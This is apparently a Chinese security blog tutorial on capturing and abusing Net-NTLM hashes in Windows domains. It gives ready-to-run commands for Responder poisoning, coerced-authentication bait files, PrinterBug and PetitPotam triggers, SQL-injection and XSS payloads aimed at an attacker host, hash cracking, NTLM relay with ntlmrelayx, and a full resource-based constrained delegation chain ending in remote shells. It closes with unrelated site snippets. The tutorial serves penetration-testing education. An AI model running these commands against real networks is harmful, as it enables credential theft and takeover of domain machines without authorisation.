<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    淺談net-ntlm的利用

    VSole2022-12-16 10:38:09

    一、前言

    眾所周知,NTLM hash是windows登錄密碼的一種hash,可從Windows系統中的SAM文件和域控的NTDS.dit文件中獲得所有用戶的hash(比如用Mimikatz提取),獲取該hash之后,可進行爆破明文、哈希傳遞(PtH攻擊)。

    Net-NTLM的hash是基于NTLM的hash值經過一定的算法產生的,Net-NTLM主要用于在網絡中的NTLM認證(比如smb共享)。當用戶進行涉及Net-NTLM認證的訪問時系統默認會先將本地NTLM hash去走一遍Net-NTLM驗證。

    Net-NTLM hash和NTLM hash不是一回事。Net-NTLM hash是Net-NTLM認證過程客戶端第二次發送給服務端的包中的response字段。

    二、獲取net-ntlm

    使用responder工具:


    responder -I eth0 -wF -v
    

    2.1 文件互動型

    這一類型實戰中大多靠釣魚或者上傳來植入,這些文件都需要用戶點擊、打開觸發,挑幾個來簡單說下。

    文件直接用github上的項目可以直接生成所有可發起ntlm認證的文件:

    https://github.com/Greenwolf/ntlm_theft

    2.1.1 desktop.ini文件

    文件夾下存在desktop.ini隱藏文件,用于指定文件夾圖標,默認不可見,取消勾選隱藏受保護的操作系統文件即可看到。

    一般創建文件夾后會沒有這個文件,通過更改一次文件夾圖標即可生成:

    將圖標路徑IconResource修改成攻擊機的UNC路徑:

    在用戶訪問該文件夾時就會訪問攻擊機的UNC地址,發起NTLM認證請求:

    實戰利用:smb共享寫文件,需要寫入權限;

    優點:無視防火墻;

    缺點:1.需要用戶查看文件圖標才能觸發;2.如果文件夾已存在desktop.ini會寫不進去。

    2.1.2 PDF文件

    只有用adobe reader 打開PDF文檔才能觸發,打開后會有提示,不過此時已經能夠收到net-ntlm:

    2.1.3 scf文件

    SCF(Shell Command File)文件可用于執行一組有限的操作,比如顯示桌面、打開資源管理器等,SCF的IconFile也可用來訪問指定的UNC路徑,當用戶訪問時同樣會發起NTLM請求,創建test.csf文件內容如下:


    [Shell]Command=2IconFile=\\192.168.60.130\test.ico[Taskbar]Command=ToggleDesktop
    

    2.1.4 office文件

    新建一個world以壓縮文件打開,修改\word\_rels\下document.xml.rels文件:

    當用戶使用office或wps打開此文檔時,同樣會請求修改的UNC資源,攻擊機可捕獲Net-NTLM Hash:

    2.2 強制認證型

    這類通常是利用系統命令或者系統、內網web中的漏洞,可以隨時強制發起讓攻擊者抓取受害機的ntlm認證。這一類型在實戰中作用很大。

    2.2.1 系統命令

    常用的就是dir \\xx.xx.xx.xx\test

    其他的參考這篇文章所說的就行

    內網滲透——針對hash的攻擊-安全客 - 安全資訊平臺

    https://www.anquanke.com/post/id/177123#h2-4

    這類通過系統命令獲取netntlm的意義不太大,都能執行系統命令了,隨便干點其他的也比這個強。

    2.2.2 系統漏洞

    1.打印機漏洞printbug

    https://github.com/dirkjanm/krbrelayx
    python3 printerbug.py /:@targetip attackip
    

    獲取機器的ntlm認證,走的是smb協議:

    2.petitpotam漏洞

    https://github.com/topotam/PetitPotam

    使用petitpotam可以直接獲取機器的ntlm認證,但是走的是smb協議


    python3 PetitPotam.py -d  -u  -p  attackip targetip
    

    3.privExchange漏洞

    https://github.com/dirkjanm/PrivExchange

    通過EWS接口獲取機器的ntlm認證,走的是http協議,需要有安裝exchange服務器。

    2.2.3 web漏洞

    xss

    <script src="http://xx.xx.xx.xx/xx">script>
    


    限制太多:1.對瀏覽器有要求;2.對internet選項設置有要求;3.利用還需在內網啟動DNS。

    文件讀取/包含,SSRF。

    http://xx.xx.xx.xx/?file=\\xx.xx.xx.xx\test

    xxe

    file和php:filter都行

    mysql注入

    id=1' union select 1,2,load_file('\\\\xx.xx.xx.xx\\test'),4;%00
    

    mssql注入

    ';declare @q varchar(99);set @q='\\xx.xx.xx.xx\test'; exec master.dbo.xp_dirtree @q
    

    2.3 守株待兔型

    這種類型主要靠被動監聽網內的LLMNR/NBNS協議,WDAT.dat。

    2.3.1 LLMNR/NBNS協議

    windows域名解析順序為:

    ??本地hosts文件(%windir%\System32\drivers\etc\hosts)

    ??DNS(緩存/服務器)

    ??鏈路本地多播名稱解析(LLMNR)和NetBIOS名稱服務器(NBNS)

    當前面兩種順序解析失敗后就會使用LLMNR解析,LLMNR是一個基于域名系統(DNS)數據包格式的協議,IPv4和IPv6的主機可以通過此協議對同一本地鏈路上的主機執行名稱解析,其也被稱為多播DNS或mDNS,多播地址分別如下:

    從攻擊角度來說,流程如下:

    1.用戶向錯誤的地址\testname發起SMB共享;

    2.DNS服務器解析失敗;

    3.客戶端進行LLMNR/NBNS;

    4.攻擊機監聽到后,給客戶端發送數據包sdafsdf11對應到IP是5.192.168.60.130(即攻擊機IP),然后后續就走SMB的流程了。

    Responder默認開啟了這幾項,可直接使用Responder來捕獲。

    當用戶在瀏覽器隨意輸入域名輸錯的時候,會自動發出llmnr廣播被responder捕獲,默認是使用當前用戶的ntlm認證:

    其原因是在internet選項設置中,默認設置為本地區域自動登錄:

    如果不在本地或者設置用戶密碼提示,那么就會彈出登錄框:

    除了這個安全機制,如果是微軟win11以上,即使默認是自動登錄,但也會因為微軟的安全認證彈出登錄框。

    2.3.2 WPAD

    wpad 全稱是Web Proxy Auto-Discovery Protocol ,通過讓瀏覽器自動發現代理服務器,定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat),下載編譯并運行,最終自動使用代理訪問網絡。主要的利用方式是配合LLMNR/NBNS投毒。用戶在訪問網頁時,首先會查詢PAC文件的位置。查詢的地址是WPAD/wpad.dat。如果沒有在域內專門配置這個域名的話,那么DNS解析失敗的話,就會使用LLMNR發起廣播包詢問WPAD對應的ip是多少,這個時候我們就可以進行LLMNR投毒和NBNS投毒。

    受害者通過llmnr詢問wpad主機在哪里,Responder通過llmnr投毒將wpad的ip指向Responder所在的服務器

    受害者訪問WPAD/wpad.dat,Responder就能獲取到用戶的net-ntlm hash(這個Responder默認不開,因為害怕會有登錄提醒,不利于后面的中間人攻擊,可以加上-F 開啟)


    responder -I eth0 -wF -v
    

    在公司局域網掛著一天,還是能抓到很多受害者。有興趣的小伙伴可以嘗試一下。

    wpad劫持成功也跟瀏覽器內核有關。不過這種方式很容易被封。

    三、攻擊利用

    3.1 爆破

    net-ntlm分為很多種版本,目前主流用的是v2,少量v1。

    net-ntlm hash生成如下:

    客戶端向服務器發送 一個請求。 服務器接收到請求后,生成一個server Challenge字符串,發送回客戶端。 客戶端接收到Challenge后,使用當前申請認證用戶的ntlm hash和Challenge 一起進行加密,生成net-ntlm hash,作為response發送給服務器。 服務器將自身存有的用戶ntlm hash和challenge計算后進行比對,一致則通過校驗。


    Net-ntlm hash v1的格式為:username::hostname:LM response:NTLM response:challengeNet-ntlm hash v2的格式為:username::domain:challenge:HMAC-MD5:blob
    

    v1可以直接獲取到用戶的ntlm,很容易利用。

    v2只能使用hashcat+字典進行爆破


    hashcat -m 5600 hash.txt Top10000.txt --force
    

    3.2 中繼(ntlm relay)

    net-ntlm hash無法進行pth攻擊,但是可以利用類似中間攻擊的方法,中繼到域內各種服務,實現攻擊目的。

    3.2.1 工作組中繼

    工作組的話因為各服務信任關系獨立,很難進行中繼,除非兩臺賬號密碼一致。工作組的機器默認啟動了smb簽名,也很難繞過。

    稍微好點的是抓到net-ntlm中繼回自己獲取權限,這個難點要看有沒有cve-2019-1384補丁。

    還有windows的java應用在觸發ssrf,xxe等http請求時,是可以把net-ntlm hash relay到自身,這就需要一臺內網中用java開發的http應用來配合。

    綜上所述,實戰中工作組的ntlm relay利用難度較大。

    3.2.2 域中繼

    常見的域中繼有中繼smb,中繼ldap,中繼adcs,中繼exchange。

    3.2.2.1 中繼SMB

    smb中繼要成功需要目標設置無簽名校驗,域里面只有域管默認是有簽名的,其他域機器默認沒開啟簽名。

    通過responder工具Runfinger.py來查看:

    工具可以用impacket下的smbrelayx.py和ntlmrelayx.py,responder下的MultiRelay.py,其中MultiRelay可以形成交互式shell。


    impacket-smbrelayx -h xx.xx.xx.xx -c whoami
    

    先使用普通的域用戶來中繼,利用失敗,通過報錯信息顯示這里是通過調用RPC接口來實現RCE,但是普通用戶權限太低,所以無法獲取權限。

    把域用戶加入目標本地管理員組,成功獲取權限。

    其他工具也差不多用法,也是需要高權限。


    impacket-ntlmrelayx -t smb://xx.xx.xx.xx -c whoami -smb2support
    impacket-ntlmrelayx -t smb://xx.xx.xx.xx -e /root/a.exe -smb2support
    python3 MultiRelay.py -t xx.xx.xx.xx -u ALL
    

    這種方式實戰利用比較困難,需要獲取到高權限的用戶net-ntlm,很難抓到域管的,可能會有抓到本地管理員的,如果賬戶密碼通用的話可能可以中繼到其他服務器上。最后還要看殺軟和防火墻是否攔截。

    3.2.2.2 中繼LDAP

    中繼到ldap服務有2種攻擊方式,一種是抓取到特權用戶來創建dcsync權限的用戶,這種用戶同樣難以抓取。

    另一種通過ldap中繼機器賬戶使用基于資源的約束委派(rbcd)獲取目標權限。

    這種我個人認為實用性相對高點,條件也并不太苛刻,接下來就重點說下。

    必要條件:

    1.域控版本支持rbcd(win2012以上),且沒有打上最新的更新補丁cve-2019-1384;

    2.已知1個域賬戶和密碼,并且該賬號可以添加域內機器賬號;

    3.最好能出網,不能出網在內網中有一臺能使用impacket的機器;

    4.域防火墻關閉,祈禱殺軟不攔截(實驗用的cifs大概率被攔截);

    5.高權限賬號沒有被禁止委派(默認是可以委派的)。

    其他靈活條件:

    如果目標打上最新補丁,那需要在內網中找到一臺能通過http獲取機器賬戶ntlm認證的漏洞,比如system默認啟動的IIS服務,javahttp的xxe,ssrf。或者中繼exchange,exchange服務器機器賬號默認是特權賬戶。

    攻擊視圖:

    簡述下原理:

    Windows Server 2012中新加入了基于kerberos資源的約束委派(rbcd),它不需要域管理員對其進行配置,將配置委派的權限直接給了提供服務的機器。服務機器可以用自己的機器賬戶配置msDS-AllowedToActOnBehalfOfOtherIdentity屬性來設置哪些賬戶是可信的。簡而言之:如果我們修改該屬性的賬戶是我們可控的,那就可以偽造任意用戶來獲取該機器的權限,因為服務代表用戶獲得針對服務自身的ST這個過程,服務是不需要用戶憑據的。

    過程:

    使用impacket中的addcomputer工具,以普通域用戶mars的身份在域中添加一個名為evil$的計算機賬戶,密碼是nihao321!


    impacket-addcomputer 3rd.one/mars:nihao123! -computer-name evil\$ -computer-pass nihao321! -dc-ip 192.168.41.100
    

    添加完后在惡意服務器上啟動ntlmrelayx.py監聽


    impacket-ntlmrelayx -t ldap://192.168.41.100 --remove-mic --delegate-access --escalate-user evil$
    

    使用petitpotam.py或printbug.py發起強制申請


    python3 PetitPotam.py -d 3rd.one -u mars -p nihao123! 192.168.41.41 192.168.41.46python3 printerbug.py 3rd.one/mars:nihao123!@192.168.41.46 192.168.41.41
    

    此時ntlmrelayx截獲到機器賬戶的net-ntlm hash認證,中繼到域控的ldap服務,讓T1的機器賬戶修改msDS-AllowedToActOnBehalfOfOtherIdentity屬性。

    這里沒成功,原因是petitpotam強制用的認證是走的smb協議,ldap服務器要求客戶端簽名并通過NTLM MIC保證NTLM消息的完整性,使用--remove-mic 利用cve-2019-1384漏洞可以繞過這個防護機制。但是因為我使用的測試機是2019,所以無法繞過該機制,也無法中繼成功。

    換成winserver2016(主機名T2)來測試,不做安全更新,這里就成功中繼到了。

    這時候查看t2主機信息,他的msDS-AllowedToActOnBehalfOfOtherIdentity屬性被設置成evil$機器的SID,說明允許evil$代表用戶訪問T2的主機資源。

    接下來我們再用s4u協議申請T2的高權限票據,大致過程如下:

    s4u2self:先使用evil拿自己的tgt票據請求一張訪問evil的ST,且該ST的身份是域管administrator,而這張ST是用evil的hash加密的。

    s4u2proxy:把s4u2self獲取到的ST作為驗證信息再去請求一張用于訪問T2機器CIFS spn的ST票據。

    最后拿這張票據就可以去通過操作smb服務執行命令了。

    以上過程impacket已經做好,直接用工具命令就行。


    impacket-getST -dc-ip 192.168.41.100 3rd.one/evil$:nihao321! -spn cifs/T2.3rd.one -impersonate administrator
    

    獲得服務票據以后就可以直接登錄T2服務器了。


    export KRB5CCNAME=administrator.ccacheimpacket-smbexec -target-ip 192.168.41.46 t2.3rd.one -no-pass -k
    

    以上是模擬的CIFS服務,這種基于smbexec來執行的權限,想都不用想肯定穩被攔的。

    嘗試換成winrm和powershell來實現橫向,看攔截不攔截。winrm需要的服務是http和wsman。要求目標開啟winrm服務和5985端口,這些服務默認是開啟的。

    換成rubeus來申請這兩個服務的ST:

    Rubeus.exe s4u /user:evil$ /rc4: 648f3586c5e4014ebf3c05f7ad44db29 /domain:3rd.one /msdsspn:http/T2.3rd.one /impersonateuser:administrator >1.txtRubeus.exe s4u /user:evil$ /rc4: 648f3586c5e4014ebf3c05f7ad44db29 /domain:3rd.com /msdsspn:wsman/T2.3rd.one /impersonateuser:administrator>2.txtrc4:后面跟賬戶的ntlm hash
    

    然后將這兩個命令生成的ST票據導入:


    Rubeus.exe  ptt  /ticket:票據
    

    查看klist:

    打開powershell連接:


    New-PSSession -Name Priv -ComputerName T2.3rd.oneEnter-PSSession -Name Priv
    

    說幾個問題。

    1.為什么中繼要用rbcd的方式?

    ? 因為使用petitpotam就能獲取的T2服務器的機器賬戶net-ntlm認證,機器賬戶有權限修改自己的屬性,中繼到域控中將關鍵屬性寫入我們可以控制的賬戶。

    2.為什么要一個已知的域用戶?

    ? 1)petitpotam和printbug需要用戶來發起;

    ? 2)在s4u2self階段申請ST需要TGT,如果用T2服務器的機器賬戶,我們不知道這個機器賬戶的密碼或者hash,沒有辦法去申請TGT。所以需要建立一個已知的機器賬戶。默認域控的ms-DS-MachineAccountQuota屬性設置允許所有域內憑據向一個域添加多達10個計算機帳戶。這個憑據可以是域內的用戶賬戶、服務賬戶、機器賬戶,相對來說域用戶是最好獲取的。

    3.為什么需要新建機器賬戶不能直接用域用戶來委派?

    ? 因為這個委派是建立在s4u協議上,s4u2self是賬戶向自身請求ST,意味著該賬戶自身必須具有spn,新的機器賬戶默認帶有host/domain這個spn。host實際上是一個spn合集,其中包含了我們常用的cifs,http,ldap,netlogon等等。

    4.最后的權限為什么看起來是域管但實際上是本地管理員權限?

    ? 因為rbcd實際上模擬的是高權限用戶去訪問本地的服務,獲得的也只是本地相關服務的ST。

    做完實驗可以發現,重點是讓目標機器的msDS-AllowedToActOnBehalfOfOtherIdentity屬性能設置為我們evil的SID,所以我們才要通過中繼T2的ntlm hash認證讓他自己寫入。

    除了機器本身自己以外,還有誰有寫入的權限呢?

    答案是將機器拉入域的用戶,也就是機器的mS-DS-CreatorSID屬性

    換句話說,只要我們能抓到某個域用戶的ntlm認證,我們就能通過中繼進行rbcd攻擊獲取通過該域用戶拉入域的機器權限。如果能爆破該用戶的密碼就更好了,都不需要中繼,直接連ldap進行攻擊。

    很可惜impacket還不支持這種功能,需要自己來改實現。當然實戰中和模擬環境還是有很大不同,實戰中小型域環境可能都是域管拉入,大型域環境可能有專門的加域賬戶。

    還有其他的中繼dcsync,中繼adcs,中繼exchange大致利用也差不多,主要還是看如何去觸發ntlm認證。網上有很多教程就不在這里說了。

    四、收尾

    每種攻擊手法都不是萬能,今天的內容實戰中也要綜合考慮網絡環境、信息搜集、目標防護等影響,不一定實戰中就用得上,只是作為一種知識儲備給大家分享一下。重要的是過程,在過程中可以更加深刻的理解域內各個元素的聯系和自身的功能原理,比如我們上面的實驗涵蓋kerberos認證過程,ntlm認證過程,基于資源約束委派攻擊原理,橫向移動等知識點,充分理解這些才能幫助我們在滲透中事半功倍。

    參考

    https://book.hacktricks.xyz/windows-hardening/ntlm/places-to-steal-ntlm-creds
    https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/
    https://daiker.gitbook.io/windows-protocol/ntlm-pian/5
    https://daiker.gitbook.io/windows-protocol/kerberos/2
    https://xie1997.blog.csdn.net/article/details/105135184
    https://www.anquanke.com/post/id/177123
    hash
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    //oldTab:引用擴容前的哈希表。//oldCap:表示擴容前的table數組的長度。//獲得舊哈希表的擴容閾值。//newThr:擴容之后下次觸發擴容的條件。//條件成立說明hashMap中的散列表已經初始化過了,
    一般翻譯做“散列”,也有直接音譯為“哈希”的,就是把任意長度的輸入,通過散列算法,變換成固定長度的輸 出,該輸出就是散列值。
    Perfetch Hash Cracker是一款基于Rust開發的強大暴力破解工具,該工具可以幫助廣大研究人員通過爆破的形式破解prefetch哈希。
    隨著攻防演練的頻繁和?們安全意識的提升,企業內部Windows主機的?令也設置的較為復雜,經 常拿到windows 服務器的時候,獲取到了hash,但是?法解密出密碼的情況,這時候就需要?法,攻擊者不需要花費時間來懟hash進?02測試環境Windows server 2012 ?先需要獲取ntml hash,由于直接從內存讀取到的可能是密碼修改之前的hash,這?些遠程命令的執??持wmi,默認開啟,且windows 默認不會將wmi 的操作記錄到?具的原理是wmi 創建進程執?impacket 中的smbexec 程序,命令如下python3 smbexec.py -hashes
    Wavecrack是一款針對密碼安全的強大工具,該工具提供了一個用戶友好的Web接口,該工具支持預定義的配置,并能夠在多個用戶之間共享hashcat破解信息,然后使用hashcat實現密碼破解。?hashcatFlaskCelerySQLiterabbitmq-serverhashcat規則字典文件?首先,我們需要使用下列命令將該項目源碼克隆至本地:git?安裝RabbitMQ服務器和python-ldap依賴:$?開啟RabbitMQ服務器:$ sudo service rabbitmq-server start. 工具首頁添加一個待破解的哈希查看結果和其他狀態信息?本項目的開發與發布遵循GNU開源許可證協議。?
    筆者在對volatility工具進行了解后,對分析vmem文件的手法進行了一定優化,可以提升解決鎖屏問題的效率。不過官方團隊并沒有打包volatility3的可執行程序,原因寫的是打包出來的packages會被識別為惡意軟件,解決了這個問題就會出可執行程序了。過程思路一、直接在esxi中部署volatility3項目Linux環境下的esxi,這個思考很快就被證明不太可行了,volatility3需要多個系統庫和pip庫:yum install zlib &&\yum install zlib-devel &&\yum install bzip2-devel &&\yum install ncurses-devel &&\yum install sqlite-devel &&\yum install readline-devel &&\yum install gcc &&\yum install libffi &&\yum install libffi-devel &&\yum install gcc-c++\yum install openssl-devel\yum install tk-devel
    雖然加密技術新輩多出,但哈希算法(也稱“散列算法”)自誕生以來,已成為加密算法領域不可或缺的應用。 最簡單的散列算法也被用來加密存在數據庫中的密碼字符串,日常我們在各大APP中注冊時填寫的密碼均是以字符串方式保存在服務器中,用戶登陸時需要再次對輸入密碼實施哈希計算,而后將兩個密碼字符串進行碰撞驗證登陸。
    內網滲透hash竊取技巧
    2021-11-28 06:53:23
    在內網滲透的過程中,最重要的就是信息搜集,但是在極端情況下我們找不到能夠橫或者跨域的機器,那么這時候我們就可以嘗試做一個水坑,來嘗試獲取hash。當然這只是理想情況,在愈發強調對抗的當下,利用水坑釣魚也變得不是那么簡單。
    我們知道HashMap底層是由數組+鏈表/紅黑樹構成的,當我們通過put(key, value)向hashmap中添加元素時,需要通過散列函數確定元素究竟應該放置在數組中的哪個位置,當不同的元素被放置在了數據的同一個位置時,后放入的元素會以鏈表的形式,插在前一個元素的尾部,這個時候我們稱發生了hash沖突。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类